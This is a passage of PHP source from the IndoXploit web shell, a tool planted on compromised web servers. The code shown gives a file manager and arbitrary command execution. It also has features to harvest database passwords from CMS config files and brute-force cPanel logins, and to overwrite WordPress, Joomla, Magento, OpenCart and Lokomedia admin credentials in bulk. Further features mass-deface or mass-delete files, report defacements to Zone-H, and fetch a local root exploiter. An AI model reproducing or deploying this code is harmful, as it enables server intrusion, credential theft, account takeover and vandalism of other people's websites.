                        $dirinfo['type'] = filetype($dirinfo['path']);
                        $dirinfo['time'] = date("F d Y g:i:s", filemtime($dirinfo['path']));
                        $dirinfo['size'] = "-";
                        $dirinfo['perms'] = writeable($dirinfo['path'], perms($dirinfo['path']));
                        $dirinfo['link'] = $folder === ".." ? "<a href='?dir=" . dirname(path()) . "'>{$folder}</a>" : ($folder === "." ? "<a href='?dir=" . path() . "'>{$folder}</a>" : "<a href='?dir=" . $dirinfo['path'] . "'>{$folder}</a>");
                        $dirinfo['action'] = $folder === '.' || $folder === '..' ? "<a href='?act=newfile&dir=" . path() . "'>newfile</a> | <a href='?act=newfolder&dir=" . path() . "'>newfolder</a>" : "<a href='?act=rename_folder&dir=" . $dirinfo['path'] . "'>rename</a> | <a href='?act=delete_folder&dir=" . $dirinfo['path'] . "'>delete</a>";
                        if (function_exists('posix_getpwuid')) {
                            $dirinfo['owner'] = (object) @posix_getpwuid(fileowner($dirinfo['path']));
                            $dirinfo['owner'] = $dirinfo['owner']->name;
                        } else {
                            $dirinfo['owner'] = fileowner($dirinfo['path']);
                        }
                        if (function_exists('posix_getgrgid')) {
                            $dirinfo['group'] = (object) @posix_getgrgid(filegroup($dirinfo['path']));
                            $dirinfo['group'] = $dirinfo['group']->name;
                        } else {
                            $dirinfo['group'] = filegroup($dirinfo['path']);
                        }
                        print "<tr>";
                        print "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>" . $dirinfo['link'] . "</td>";
                        print "<td class='td_home' style='text-align: center;'>" . $dirinfo['type'] . "</td>";
                        print "<td class='td_home' style='text-align: center;'>" . $dirinfo['size'] . "</td>";
                        print "<td class='td_home' style='text-align: center;'>" . $dirinfo['time'] . "</td>";
                        print "<td class='td_home' style='text-align: center;'>" . $dirinfo['owner'] . DIRECTORY_SEPARATOR . $dirinfo['group'] . "</td>";
                        print "<td class='td_home' style='text-align: center;'>" . $dirinfo['perms'] . "</td>";
                        print "<td class='td_home' style='padding-left: 15px;'>" . $dirinfo['action'] . "</td>";
                        print "</tr>";
                    }
                    foreach ($dir as $files) {
                        $fileinfo['path'] = path() . DIRECTORY_SEPARATOR . $files;
                        if (!is_file($fileinfo['path'])) {
                            continue;
                        }
                        $fileinfo['type'] = filetype($fileinfo['path']);
                        $fileinfo['time'] = date("F d Y g:i:s", filemtime($fileinfo['path']));
                        $fileinfo['size'] = filesize($fileinfo['path']) / 1024;
                        $fileinfo['size'] = round($fileinfo['size'], 3);
                        $fileinfo['size'] = $fileinfo['size'] > 1024 ? round($fileinfo['size'] / 1024, 2) . "MB" : $fileinfo['size'] . "KB";
                        $fileinfo['perms'] = writeable($fileinfo['path'], perms($fileinfo['path']));
                        if (function_exists('posix_getpwuid')) {
                            $fileinfo['owner'] = (object) @posix_getpwuid(fileowner($fileinfo['path']));
                            $fileinfo['owner'] = $fileinfo['owner']->name;
                        } else {
                            $fileinfo['owner'] = fileowner($fileinfo['path']);
                        }
                        if (function_exists('posix_getgrgid')) {
                            $fileinfo['group'] = (object) @posix_getgrgid(filegroup($fileinfo['path']));
                            $fileinfo['group'] = $fileinfo['group']->name;
                        } else {
                            $fileinfo['group'] = filegroup($fileinfo['path']);
                        }
                        print "<tr>";
                        print "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=" . path() . "&file=" . $fileinfo['path'] . "'>{$files}</a></td>";
                        print "<td class='td_home' style='text-align: center;'>" . $fileinfo['type'] . "</td>";
                        print "<td class='td_home' style='text-align: center;'>" . $fileinfo['size'] . "</td>";
                        print "<td class='td_home' style='text-align: center;'>" . $fileinfo['time'] . "</td>";
                        print "<td class='td_home' style='text-align: center;'>" . $fileinfo['owner'] . DIRECTORY_SEPARATOR . $fileinfo['group'] . "</td>";
                        print "<td class='td_home' style='text-align: center;'>" . $fileinfo['perms'] . "</td>";
                        print "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=" . path() . "&file=" . $fileinfo['path'] . "'>edit</a> | <a href='?act=rename&dir=" . path() . "&file=" . $fileinfo['path'] . "'>rename</a> | <a href='?act=delete&dir=" . path() . "&file=" . $fileinfo['path'] . "'>delete</a> | <a href='?act=download&dir=" . path() . "&file=" . $fileinfo['path'] . "'>download</a></td>";
                        print "</tr>";
                    }
                    print "</table>";
                    print "<center>Copyright &copy; " . date("Y") . " - <a href='http://indoxploit.or.id/' target='_blank'>" . color(1, 2, "IndoXploit") . "</a></center>";
                }
                function action()
                {
                    tools("upload");
                    tools("cmd");
                    print "<hr style='margin-top: 15px; margin-bottom: 10px;'>";
                    print "<center>";
                    print "<ul>";
                    print "<li>[ <a href='?'>Home</a> ]</li>";
                    print "<li>[ <a href='?dir=" . path() . "&do=fakeroot'>Fake Root</a> ]</li>";
                    print "<li>[ <a href='?dir=" . path() . "&do=cpanel'>cPanel Crack</a> ]</li>";
                    print "<li>[ <a href='?dir=" . path() . "&do=mpc'>Mass Password Change</a> ]</li>";
                    print "<li>[ <a href='?dir=" . path() . "&do=mass'>Mass Deface/Delete</a> ]</li>";
                    print "<li>[ <a href='?dir=" . path() . "&do=lre'>Local Root Exploiter</a> ]</li>";
                    print "<li>[ <a href='?dir=" . path() . "&do=zoneh'>Zone-H</a> ]</li>";
                    print "</ul>";
                    print "</center>";
                    print "<hr style='margin-top: 15px; margin-bottom: 10px;'>";
                    if (isset($_GET['do'])) {
                        if ($_GET['do'] === "cmd") {
                            if (isset($_POST['cmd'])) {
                                if (preg_match("/^rf (.*)\$/", $_POST['cmd'], $match)) {
                                    tools("readfile", $match[1]);
                                } elseif (preg_match("/^spawn (.*)\$/", $_POST['cmd'], $match)) {
                                    tools("spawn", $match[1]);
                                } elseif (preg_match("/^symlink\$/", $_POST['cmd'], $match)) {
                                    tools("symlink");
                                } elseif (preg_match("/^rvr (.*)\$/", $_POST['cmd'], $match)) {
                                    tools("network", $match[1]);
                                } elseif (preg_match("/^krdp\$/", $_POST['cmd'])) {
                                    tools("krdp");
                                } elseif (preg_match("/^jumping\$/", $_POST['cmd'])) {
                                    tools("jumping");
                                } elseif (preg_match("/^idxconfig\$/", $_POST['cmd'])) {
                                    tools("idxconfig");
                                } elseif (preg_match("/^logout\$/", $_POST['cmd'])) {
                                    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
                                    print "<script>window.location='?';</script>";
                                } elseif (preg_match("/^killme\$/", $_POST['cmd'])) {
                                    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
                                    @unlink("/var/www/html/input.php");
                                    print "<script>window.location='?';</script>";
                                } else {
                                    print "<pre>" . exe($_POST['cmd']) . "</pre>";
                                }
                            } else {
                                files_and_folder();
                            }
                        } elseif ($_GET['do'] === "zoneh") {
                            if (isset($_POST['submit']) and $_GET['do'] === "zoneh") {
                                $nick = $_POST['nick'];
                                $domain = explode("\r\n", $_POST['url']);
                                print "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier={$nick}/published=0' target='_blank'>http://www.zone-h.org/archive/notifier={$nick}/published=0</a><br>";
                                print "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier={$nick}' target='_blank'>http://www.zone-h.org/archive/notifier={$nick}</a><br><br>";
                                foreach ($domain as $no => $url) {
                                    $no = $no + 1 . ".";
                                    $post = curl("http://www.zone-h.org/notify/single", TRUE, "defacer={$nick}&domain1={$url}&hackmode=1&reason=1&submit=Send");
                                    if (preg_match("/color=\"red\">OK<\\/font><\\/li>/i", $post)) {
                                        print "{$no} {$url} -> " . color(1, 2, "OK") . "<br>";
                                    } else {
                                        print "{$no} {$url} -> " . color(1, 1, "ERROR") . "<br>";
                                    }
                                }
                            } else {
                                print "<center><form method='post' action='?do=zoneh&dir=" . path() . "'>\r\n\t\t    \t       Defacer: <br>\r\n\t\t    \t       <input type='text' name='nick' size='50' value='IndoXploit'><br><br>\r\n\t\t    \t       Domains: <br>\r\n\t\t    \t       <textarea style='width: 450px; height: 150px;' name='url' placeholder='http://google.com/'></textarea><br>\r\n\t\t    \t       <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px;' type='submit' name='submit' value='Submit'>\r\n\t\t    \t       </form></center>";
                            }
                        } elseif ($_GET['do'] == 'cpanel') {
                            if ($_POST['crack']) {
                                $usercp = explode("\r\n", $_POST['user_cp']);
                                $passcp = explode("\r\n", $_POST['pass_cp']);
                                $i = 0;
                                foreach ($usercp as $ucp) {
                                    foreach ($passcp as $pcp) {
                                        $connect = mysql_connect('localhost', $ucp, $pcp);
                                        if ($connect) {
                                            if ($_SESSION[$ucp] && $_SESSION[$pcp]) {
                                            } else {
                                                $_SESSION[$ucp] = "1";
                                                $_SESSION[$pcp] = "1";
                                                if ($ucp === '' || $pcp === '') {
                                                    //
                                                } else {
                                                    $i++;
                                                    print "username (" . color(1, 2, $ucp) . ") password (" . color(1, 2, $pcp) . ") domain (";
                                                    if (!function_exists('posix_getpwuid')) {
                                                        print color(1, 1, "Function is Disable by System!");
                                                    }
                                                    if (!getdomainname()) {
                                                        print color(1, 1, "Can't get domain name");
                                                    }
                                                    foreach (getdomainname() as $domain) {
                                                        $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/{$domain}"));
                                                        $userdomain = $userdomain->name;
                                                        if ($userdomain === $user) {
                                                            print "<a href='http://{$domain}/' target='_blank'>" . color(1, 2, $domain) . "</a><br>";
                                                            break;
                                                        }
                                                    }
                                                    print empty($domain) ? color(1, 1, "Can't get domain name.") : color(1, 2, $domain);
                                                    print ")<br>";
                                                }
                                            }
                                            mysql_close($connect);
                                        }
                                    }
                                }
                                print $i === 0 ? "" : "<p>" . color(1, 3, "Sukses nyolong {$i} Cpanel by IndoXploit") . "</p>";
                            } else {
                                print "<center>\r\n\t\t\t\t\t   <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>\r\n\t\t\t\t\t   <form method='post'>\r\n\t\t\t\t\t   USER: <br>\r\n\t\t\t\t\t   <textarea style='width: 450px; height: 150px;' name='user_cp'>";
                                print implode("\n", getuser());
                                print "</textarea><br>\r\n\t\t\t\t\t   PASS: <br>\r\n\t\t\t\t\t   <span>Grab Password from Link Config:</span><br>\r\n\t\t\t\t\t   <input style='width: 425px; background: transparent; border: 1px solid #ffffff; color: #ffffff;' type='text' name='linkpass' placeholder='http://web.com/idx_config/'>\r\n\t\t\t\t\t   <input style='background: transparent; border: 1px solid #ffffff; color: #ffffff;' type='submit' name='submitlink' value='>>'>\r\n\t\t\t\t\t   <br>\r\n\t\t\t\t\t   <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
                                if (isset($_POST['submitlink'])) {
                                    $getpass = $_POST['linkpass'];
                                    $get = curl($_POST['linkpass']);
                                    preg_match_all('/<a href="(.*?).txt">/', $get, $link);
                                    foreach ($link[1] as $link_config) {
                                        $scandir[] = "{$link_config}.txt";
                                    }
                                } else {
                                    $getpass = path();
                                    $scandir = scandir($getpass);
                                }
                                $password = "";
                                foreach ($scandir as $files) {
                                    $file = "{$getpass}/{$files}";
                                    $config = file_get_contents($file);
                                    if (preg_match("/WordPress/", $config)) {
                                        $password .= getValue($config, "DB_PASSWORD', '", "'") . "\n";
                                    } elseif (preg_match("/JConfig|joomla/", $config)) {
                                        $password .= getValue($config, "password = '", "'") . "\n";
                                    } elseif (preg_match("/Magento|Mage_Core/", $config)) {
                                        $password .= getValue($config, "<password><![CDATA[", "]]></password>") . "\n";
                                    } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $config)) {
                                        $password .= getValue($config, 'password = "', '"') . "\n";
                                    } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) {
                                        $password .= getValue($config, "'DB_PASSWORD', '", "'") . "\n";
                                    } elseif (preg_match("/^[client]\$/", $config)) {
                                        preg_match("/password=(.*?)/", $config, $pass);
                                        if (preg_match('/"/', $pass[1])) {
                                            $pass[1] = str_replace('"', "", $pass[1]);
                                            $password .= $pass[1] . "\n";
                                        } else {
                                            $password .= $pass[1] . "\n";
                                        }
                                    } elseif (preg_match("/cc_encryption_hash/", $config)) {
                                        $password .= getValue($config, "db_password = '", "'") . "\n";
                                    }
                                }
                                print $password;
                                print "</textarea><br>\r\n\t\t\t\t\t   <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px;' type='submit' name='crack' value='Crack'>\r\n\t\t\t\t\t   </form></center>";
                            }
                        } elseif ($_GET['do'] == 'mpc') {
                            if ($_POST['hajar']) {
                                if (strlen($_POST['pass_baru']) < 6 or strlen($_POST['user_baru']) < 6) {
                                    print "username atau password harus lebih dari 6 karakter";
                                } else {
                                    $user_baru = $_POST['user_baru'];
                                    $pass_baru = md5($_POST['pass_baru']);
                                    $conf = $_POST['config_dir'];
                                    if (preg_match("/^http:\\/\\//", $conf) or preg_match("/^https:\\/\\//", $conf)) {
                                        $get = curl($conf);
                                        preg_match_all('/<a href="(.*?).txt">/', $get, $link);
                                        foreach ($link[1] as $link_config) {
                                            $scan_conf[] = "{$link_config}.txt";
                                        }
                                    } else {
                                        $scan_conf = scandir($conf);
                                    }
                                    foreach ($scan_conf as $file_conf) {
                                        $config = file_get_contents("{$conf}/{$file_conf}");
                                        if (preg_match("/JConfig|joomla/", $config)) {
                                            $dbhost = getValue($config, "host = '", "'");
                                            $dbuser = getValue($config, "user = '", "'");
                                            $dbpass = getValue($config, "password = '", "'");
                                            $dbname = getValue($config, "db = '", "'");
                                            $dbprefix = getValue($config, "dbprefix = '", "'");
                                            $prefix = $dbprefix . "users";
                                            $conn = mysql_connect($dbhost, $dbuser, $dbpass);
                                            $db = mysql_select_db($dbname);
                                            $q = mysql_query("SELECT * FROM {$prefix} ORDER BY id ASC");
                                            $result = mysql_fetch_array($q);
                                            $id = $result['id'];
                                            $site = getValue($config, "sitename = '", "'");
                                            $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE id='{$id}'");
                                            print "Config => " . $file_conf . "<br>";
                                            print "CMS => Joomla<br>";
                                            if ($site == '') {
                                                print "Sitename => " . color(1, 1, "Can't get domain name") . "<br>";
                                            } else {
                                                print "Sitename => {$site}<br>";
                                            }
                                            if (!$update or !$conn or !$db) {
                                                print "Status => " . color(1, 1, mysql_error()) . "<br><br>";
                                            } else {
                                                print "Status => " . color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.") . "<br><br>";
                                            }
                                            mysql_close($conn);
                                        } elseif (preg_match("/WordPress/", $config)) {
                                            $dbhost = getValue($config, "DB_HOST', '", "'");
                                            $dbuser = getValue($config, "DB_USER', '", "'");
                                            $dbpass = getValue($config, "DB_PASSWORD', '", "'");
                                            $dbname = getValue($config, "DB_NAME', '", "'");
                                            $dbprefix = getValue($config, "table_prefix  = '", "'");
                                            $prefix = $dbprefix . "users";
                                            $option = $dbprefix . "options";
                                            $conn = mysql_connect($dbhost, $dbuser, $dbpass);
                                            $db = mysql_select_db($dbname);
                                            $q = mysql_query("SELECT * FROM {$prefix} ORDER BY id ASC");
                                            $result = mysql_fetch_array($q);
                                            $id = $result[ID];
                                            $q2 = mysql_query("SELECT * FROM {$option} ORDER BY option_id ASC");
                                            $result2 = mysql_fetch_array($q2);
                                            $target = $result2[option_value];
                                            if ($target == '') {
                                                $url_target = "Login => " . color(1, 1, "Cant't get domain name") . "<br>";
                                            } else {
                                                $url_target = "Login => <a href='{$target}/wp-login.php' target='_blank'><u>{$target}/wp-login.php</u></a><br>";
                                            }
                                            $update = mysql_query("UPDATE {$prefix} SET user_login='{$user_baru}',user_pass='{$pass_baru}' WHERE id='{$id}'");
                                            print "Config => " . $file_conf . "<br>";
                                            print "CMS => Wordpress<br>";
                                            print $url_target;
                                            if (!$update or !$conn or !$db) {
                                                print "Status => " . color(1, 1, mysql_error()) . "<br><br>";
                                            } else {
                                                print "Status => " . color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.") . "<br><br>";
                                            }
                                            mysql_close($conn);
                                        } elseif (preg_match("/Magento|Mage_Core/", $config)) {
                                            $dbhost = getValue($config, "<host><![CDATA[", "]]></host>");
                                            $dbuser = getValue($config, "<username><![CDATA[", "]]></username>");
                                            $dbpass = getValue($config, "<password><![CDATA[", "]]></password>");
                                            $dbname = getValue($config, "<dbname><![CDATA[", "]]></dbname>");
                                            $dbprefix = getValue($config, "<table_prefix><![CDATA[", "]]></table_prefix>");
                                            $prefix = $dbprefix . "admin_user";
                                            $option = $dbprefix . "core_config_data";
                                            $conn = mysql_connect($dbhost, $dbuser, $dbpass);
                                            $db = mysql_select_db($dbname);
                                            $q = mysql_query("SELECT * FROM {$prefix} ORDER BY user_id ASC");
                                            $result = mysql_fetch_array($q);
                                            $id = $result[user_id];
                                            $q2 = mysql_query("SELECT * FROM {$option} WHERE path='web/secure/base_url'");
                                            $result2 = mysql_fetch_array($q2);
                                            $target = $result2[value];
                                            if ($target == '') {
                                                $url_target = "Login => " . color(1, 1, "Cant't get domain name") . "<br>";
                                            } else {
                                                $url_target = "Login => <a href='{$target}/admin/' target='_blank'><u>{$target}/admin/</u></a><br>";
                                            }
                                            $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE user_id='{$id}'");
                                            print "Config => " . $file_conf . "<br>";
                                            print "CMS => Magento<br>";
                                            print $url_target;
                                            if (!$update or !$conn or !$db) {
                                                print "Status => " . color(1, 1, mysql_error()) . "<br><br>";
                                            } else {
                                                print "Status => " . color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.") . "<br><br>";
                                            }
                                            mysql_close($conn);
                                        } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) {
                                            $dbhost = getValue($config, "'DB_HOSTNAME', '", "'");
                                            $dbuser = getValue($config, "'DB_USERNAME', '", "'");
                                            $dbpass = getValue($config, "'DB_PASSWORD', '", "'");
                                            $dbname = getValue($config, "'DB_DATABASE', '", "'");
                                            $dbprefix = getValue($config, "'DB_PREFIX', '", "'");
                                            $prefix = $dbprefix . "user";
                                            $conn = mysql_connect($dbhost, $dbuser, $dbpass);
                                            $db = mysql_select_db($dbname);
                                            $q = mysql_query("SELECT * FROM {$prefix} ORDER BY user_id ASC");
                                            $result = mysql_fetch_array($q);
                                            $id = $result[user_id];
                                            $target = getValue($config, "HTTP_SERVER', '", "'");
                                            if ($target == '') {
                                                $url_target = "Login => " . color(1, 1, "Cant't get domain name") . "<br>";
                                            } else {
                                                $url_target = "Login => <a href='{$target}' target='_blank'><u>{$target}</u></a><br>";
                                            }
                                            $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE user_id='{$id}'");
                                            print "Config => " . $file_conf . "<br>";
                                            print "CMS => OpenCart<br>";
                                            print $url_target;
                                            if (!$update or !$conn or !$db) {
                                                print "Status => " . color(1, 1, mysql_error()) . "<br><br>";
                                            } else {
                                                print "Status => " . color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.") . "<br><br>";
                                            }
                                            mysql_close($conn);
                                        } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $config)) {
                                            $dbhost = getValue($config, 'server = "', '"');
                                            $dbuser = getValue($config, 'username = "', '"');
                                            $dbpass = getValue($config, 'password = "', '"');
                                            $dbname = getValue($config, 'database = "', '"');
                                            $prefix = "users";
                                            $option = "identitas";
                                            $conn = mysql_connect($dbhost, $dbuser, $dbpass);
                                            $db = mysql_select_db($dbname);
                                            $q = mysql_query("SELECT * FROM identitas ORDER BY id_identitas ASC");
                                            $result = mysql_fetch_array($q);
                                            $target = $result[alamat_website];
                                            if ($target == '') {
                                                $target2 = $result[url];
                                                $url_target = "Login => " . color(1, 1, "Cant't get domain name") . "<br>";
                                                if ($target2 == '') {
                                                    $url_target2 = "Login => " . color(1, 1, "Cant't get domain name") . "<br>";
                                                } else {
                                                    $cek_login3 = file_get_contents("{$target2}/adminweb/");
                                                    $cek_login4 = file_get_contents("{$target2}/lokomedia/adminweb/");
                                                    if (preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
                                                        $url_target2 = "Login => <a href='{$target2}/adminweb' target='_blank'><u>{$target2}/adminweb</u></a><br>";
                                                    } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
                                                        $url_target2 = "Login => <a href='{$target2}/lokomedia/adminweb' target='_blank'><u>{$target2}/lokomedia/adminweb</u></a><br>";
                                                    } else {
                                                        $url_target2 = "Login => <a href='{$target2}' target='_blank'><u>{$target2}</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                                                    }
                                                }
                                            } else {
                                                $cek_login = file_get_contents("{$target}/adminweb/");
                                                $cek_login2 = file_get_contents("{$target}/lokomedia/adminweb/");
                                                if (preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
                                                    $url_target = "Login => <a href='{$target}/adminweb' target='_blank'><u>{$target}/adminweb</u></a><br>";
                                                } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
                                                    $url_target = "Login => <a href='{$target}/lokomedia/adminweb' target='_blank'><u>{$target}/lokomedia/adminweb</u></a><br>";
                                                } else {
                                                    $url_target = "Login => <a href='{$target}' target='_blank'><u>{$target}</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                                                }
                                            }
                                            $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE level='admin'");
                                            print "Config => " . $file_conf . "<br>";
                                            print "CMS => Lokomedia<br>";
                                            if (preg_match("/Can't get domain name/", $url_target)) {
                                                print $url_target2;
                                            } else {
                                                print $url_target;
                                            }
                                            if (!$update or !$conn or !$db) {
                                                print "Status => " . color(1, 1, mysql_error()) . "<br><br>";
                                            } else {
                                                print "Status => " . color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.") . "<br><br>";
                                            }
                                            mysql_close($conn);
                                        }
                                    }
                                }
                            } else {
                                print "<center>\r\n\t\t\t\t<h1>Mass Password Change</h1>\r\n\t\t\t\t<form method='post'>\r\n\t\t\t\t<input type='radio' name='config_type' value='dir' checked>DIR Config<input type='radio' name='config_type' value='link'>LINK Config<br>\r\n\t\t\t\t<input type='text' size='50' name='config_dir' value='" . path() . "'><br><br>\r\n\t\t\t\tSet User & Pass: <br>\r\n\t\t\t\t<input type='text' name='user_baru' value='indoxploit' placeholder='user_baru'><br>\r\n\t\t\t\t<input type='text' name='pass_baru' value='indoxploit' placeholder='pass_baru'><br>\r\n\t\t\t\t<input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 215px; margin: 5px auto;' type='submit' name='hajar' value='Hajar!'>\r\n\t\t\t\t</form></center>";
                            }
                        } elseif ($_GET['do'] === "mass") {
                            if ($_POST['start']) {
                                if ($_POST['mass_type'] === 'singledir') {
                                    print "<div style='margin: 5px auto; padding: 5px'>";
                                    massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file']);
                                    print "</div>";
                                } elseif ($_POST['mass_type'] === 'alldir') {
                                    print "<div style='margin: 5px auto; padding: 5px'>";
                                    massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file'], "-alldir");
                                    print "</div>";
                                } elseif ($_POST['mass_type'] === "delete") {
                                    print "<div style='margin: 5px auto; padding: 5px'>";
                                    massdelete($_POST['d_dir'], $_POST['d_file']);
                                    print "</div>";
                                }
                            } else {
                                print "<center><form method='post'>\r\n\t\t\t\t\t   <font style='text-decoration: underline;'>Tipe Sabun:</font><br>\r\n\t\t\t\t\t   <input type='radio' name='mass_type' value='singledir' checked>Mass Deface Single Directory<input type='radio' name='mass_type' value='alldir'>Mass Deface All Directory<input type='radio' name='mass_type' value='delete'>Mass Delete File<br>\r\n\t\t\t\t\t   <span>( kosongkan 'Index File' jika memilih Mass Delete File )</span><br><br>\r\n\t\t\t\t\t   <font style='text-decoration: underline;'>Folder:</font><br>\r\n\t\t\t\t\t   <input type='text' name='d_dir' value='" . path() . "' style='width: 450px;' height='10'><br><br>\r\n\t\t\t\t\t   <font style='text-decoration: underline;'>Filename:</font><br>\r\n\t\t\t\t\t   <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br><br>\r\n\t\t\t\t\t   <font style='text-decoration: underline;'>Index File:</font><br>\r\n\t\t\t\t\t   <textarea name='script' style='width: 450px; height: 200px;'>Hacked by IndoXploit</textarea><br>\r\n\t\t\t\t\t   <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px; margin: 5px auto;' type='submit' name='start' value='Mass'>\r\n\t\t\t\t\t   </form></center>";
                            }
                        } elseif ($_GET['do'] == 'fakeroot') {
                            ob_start();
                            $site = explode("\r\n", $_POST['url']);
                            $user = usergroup()->name;
                            $file = $_POST['file'];
                            if (!preg_match("#/home/{$user}/public_html#", $_SERVER['DOCUMENT_ROOT'])) {
                                die(color(1, 1, "I think this server not using shared host :("));
                            }
                            if ($_POST['reverse']) {
                                if (!is_writable($_SERVER['DOCUMENT_ROOT'])) {
                                    die(color(1, 1, "Directory '" . $_SERVER['DOCUMENT_ROOT'] . "' is not writeable."));
                                }
                                if (!is_writable(dirname($_SERVER['DOCUMENT_ROOT']))) {
                                    die(color(1, 1, "Directory '" . dirname($_SERVER['DOCUMENT_ROOT']) . "' is not writeable."));
                                }
                                save($_SERVER['DOCUMENT_ROOT'] . "/" . $file, "w", $_POST['script']);
                                save(dirname($_SERVER['DOCUMENT_ROOT']) . "/" . $file, "w", $_POST['script']);
                                foreach ($site as $url) {
                                    $cek = curl("{$url}/~{$user}/{$file}");
                                    if (preg_match("/hacked/i", $cek)) {
                                        print "URL: <a href='{$url}/~{$user}/{$file}' target='_blank'>{$url}/~{$user}/{$file}</a> -> <font color=lime>Fake Root!</font><br>";
                                    }
                                }
                            } else {
                                print "<center><form method='post'>\r\n\t\t\t\tFilename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>\r\n\t\t\t\tUser: <br><input type='text' value='{$user}' size='50' height='10' readonly><br>\r\n\t\t\t\tDomain: <br>\r\n\t\t\t\t<textarea style='width: 450px; height: 250px;' name='url'>";
                                print implode("\n", reverse());
                                print "</textarea><br>\r\n\t\t\t\t<font style='text-decoration: underline;'>Index File:</font><br>\r\n\t\t\t\t<textarea name='script' style='width: 450px; height: 200px;'>Hacked by IndoXploit</textarea><br>\r\n\t\t\t\t<input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px; margin: 5px auto;' type='submit' name='reverse' value='Scan Fake Root!'>\r\n\t\t\t\t</form><br>\r\n\t\t\t\tNB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
                            }
                        } elseif ($_GET['do'] === 'lre') {
                            if (file_exists("makman.php")) {
                                print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/makman.php' frameborder='0' scrolling='yes'></iframe>";
                            } else {
                                if (!is_writable(path())) {
                                    die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'Makman'."));
                                }
                                if (getfile("LRE")) {
                                    print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/makman.php' frameborder='0' scrolling='yes'></iframe>";
                                } else {
                                    print color(1, 1, "Error while downloading file makman.");
                                    @unlink("makman.php");
                                }
                            }
                        }
                    } elseif (isset($_GET['act'])) {
                        if ($_GET['act'] === 'newfile') {
                            if ($_POST['save']) {
                                $filename = htmlspecialchars($_POST['filename']);
                                $fopen = fopen($filename, "a+");
                                if ($fopen) {
